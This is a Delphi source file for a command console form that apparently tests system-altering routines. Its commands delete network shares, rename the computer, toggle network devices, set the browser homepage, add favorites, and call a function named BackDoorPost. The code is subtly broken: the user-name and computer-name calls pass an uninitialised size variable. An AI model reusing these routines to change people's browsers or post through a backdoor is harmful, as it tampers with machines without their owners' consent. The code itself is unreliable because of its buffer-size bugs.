unit uMainForm;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, uGlobal;

type
  TMainForm = class(TForm)
    mmo1: TMemo;
    pnl1: TPanel;
    edt1: TEdit;
    btn1: TButton;
    procedure FormActivate(Sender: TObject);
    procedure edt1KeyPress(Sender: TObject; var Key: Char);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    procedure ProcessCmd(cmdLine: string);
    procedure DbgMessage(var msg: TMessage); message WM_DBGMSG;
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

uses
  uNetApi, uControlDemoForm, Comobj, uFunctionList, uDxForm;
  
{$R *.dfm}

procedure TMainForm.FormActivate(Sender: TObject);
begin
  edt1.SetFocus;
end;

procedure TMainForm.edt1KeyPress(Sender: TObject; var Key: Char);
begin
  if Key=#13 then
  begin
    ProcessCmd(Trim(edt1.Text));
    edt1.Text := '';
    Key := #0;
  end;
end;

procedure TMainForm.ProcessCmd(cmdLine: string);
var
  buf: PChar;
  dwTmp: DWORD;
  i, t, state, cmdId: Integer;
  strCmd, tmpStr: string;
  tmpSl: TStringList;
  Params: array[0..5] of string[100];
  procedure EnumShare;
  var
    i: Integer;
    res, er, tr, resume: DWORD;
    pBuf, pShareInfo: lpSHARE_INFO_502;
  begin
    er := 0;
    tr := 0;
    resume := 0;
    pBuf := nil;
    repeat
      res := NetShareEnum(nil, 502, Pointer(pBuf), MAX_PREFERRED_LENGTH, er, tr, resume);
      if pBuf=nil then
        Break;
      if res in [ERROR_SUCCESS, ERROR_MORE_DATA ] then
      begin
        pShareInfo := pBuf;
        DebugOut('sharelist:');
        for i := 0 to er - 1 do
        begin
          DebugOut(pShareInfo.shi502_netname);
          Inc(pShareInfo);
        end;
        NetApiBufferFree(PByte(pBuf)); 
      end;
    until ERROR_MORE_DATA<>res;
  end;
  procedure GetOsVersion;
  var
    osVersion: TOSVersionInfo;
  begin
    FillChar(osVersion, Sizeof(osVersion), 0);
    osVersion.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);
    if GetVersionEx(osVersion) then
    begin
      DebugOut(Format('CSDVersion:%s MajorVersion:%d MinorVersion:%d BuildNumber:%d',
               [string(osVersion.szCSDVersion), osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber]));
    end;
  end;
  function IsActiveX(const class_guid: string): boolean;
  var
    guid: TGUID;
    comObj: IUnknown;
  begin
    Result := False;
    comObj := nil;
    try
      guid := StringToGUID(class_guid);
      comObj := CreateComObject(guid);
      Result := Assigned(comObj);
      comObj := nil;
    except
    end;
    if not Result then
    begin
      try
        comObj := CreateOleObject(class_guid);
        Result := Assigned(comObj);
        comObj := nil;
      except
      end;
    end;
    if Result then
      DebugOut(class_guid + ' isActivexObject')
    else
      DebugOut(class_guid + ' is not ActivexObject')
  end;
  procedure Permutation(charSet: string; bitNum: Integer);
  begin
    
  end;
begin
  FillChar(Params[0], Sizeof(Params), 0);
  strCmd := '';
  tmpSl := TStringList.Create;
  try
    tmpSl.Text := StringReplace(cmdLine, ' ', #13#10, [rfReplaceAll]);
    t := 0;
    for i := 0 to tmpSl.Count - 1 do
    begin
      if Trim(tmpSl[i])<>'' then
      begin
        if t=0 then
          strCmd := Trim(tmpSl[i])
        else
          Params[t-1] := Trim(tmpSl[i]);
        Inc(t);
        if t>High(Params) then
          break;
      end;
    end;
    cmdID := CMD_NONE;
    for i := Low(G_Commands) to High(G_Commands) do
    begin
      if SameText(G_Commands[i].CmdStr, strCmd) then
        cmdID := G_Commands[i].CmdID;
    end;

    case cmdID of
    CMD_CLEAR:
      mmo1.Clear;
    CMD_SHOWSTARTMENU:
      begin
      
      end;
    CMM_SERVICE:
      begin
      
      end;
    CMD_ENUMSHARE:
      begin
        EnumShare;
      end;
    CMD_SHOUXINGSITE:
      begin
      
      end;
    CMD_ADDSHOUXINGSITE:
      begin
      
      end;
    CMD_NETCARD:
      begin
      
      end;
    CMD_GETUSERNAME:
      begin
        GetMem(buf, 512);
        t := 511;
        if GetUserName(buf, dwTmp) then
          DebugOut(buf);
        FreeMem(buf);
      end;
    CMD_GETCOMPUTERNAME:
      begin
        GetMem(buf, 512);
        t := 511;
        if GetComputerName(buf, dwTmp) then
          DebugOut(buf);
        FreeMem(buf);      
      end;
    CMD_SETCOMPUTERNAME:
      begin
        SetComputerName(PChar(string(Params[0])));
      end;
    CMD_SETPASSWORD:
      begin
//        NetUserSetInfo(
 //       NetUserChangePassword(
      end;
    CMD_CREATELINK:
      begin       
        CreateLink(Params[0], Params[1], Params[2], Params[3]);
      end;
    CMD_SETHOMEPAGE:
      begin
        SetHomePage(Params[0]);
      end;
    CMD_ADDFAVORITES:
      begin
        AddFavorities(Params[0], Params[1]);
      end;
    CMD_TRUSTSITE:
      begin

      end;
    CMD_ADDTRUSTSITE:
      begin

      end;
    CMD_DELSHARE:
      begin
        NetShareDel(nil, PwideChar(widestring(Params[0])), dwTmp);
      end;
    CMD_SHOWCONTROLDEMO:
      begin
        ControlDemoForm := TControlDemoForm.Create(nil);
        ControlDemoForm.ShowModal;
        ControlDemoForm.Free;
      end;
    CMD_GETOSVERSION:
      begin
        GetOsVersion;
      end;
    CMD_ENUMNETDEVICE:
      begin
        EnumNetDevice;
      end;
    CMD_CHGNETDEVSTATE:
      begin
        ChangeDevState(StrToIntDef(Params[0], 0), StrToIntDef(Params[1], 0));
      end;
    CMD_ISACTIVEX:
      begin
        IsActiveX(Params[0]);
      end;
    CMD_PERMUTATION:
      begin
      
      end;
    CMD_BDPOST:
      begin
        BackDoorPost(Params[0], Params[1]);
      end;
    CMD_SHOWDXFORM:
      begin
        DxForm := TDxForm.Create(nil);
        DxForm.ShowModal;
        DxForm.Free;
      end;
    end;
  finally
    tmpSl.Free;
  end;
end;

procedure TMainForm.DbgMessage(var msg: TMessage);
begin
  mmo1.Lines.Add(PChar(Msg.WParam));
  FreeMem(PChar(Msg.WParam));
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
  G_DbgWindow := Handle;
end;

end.
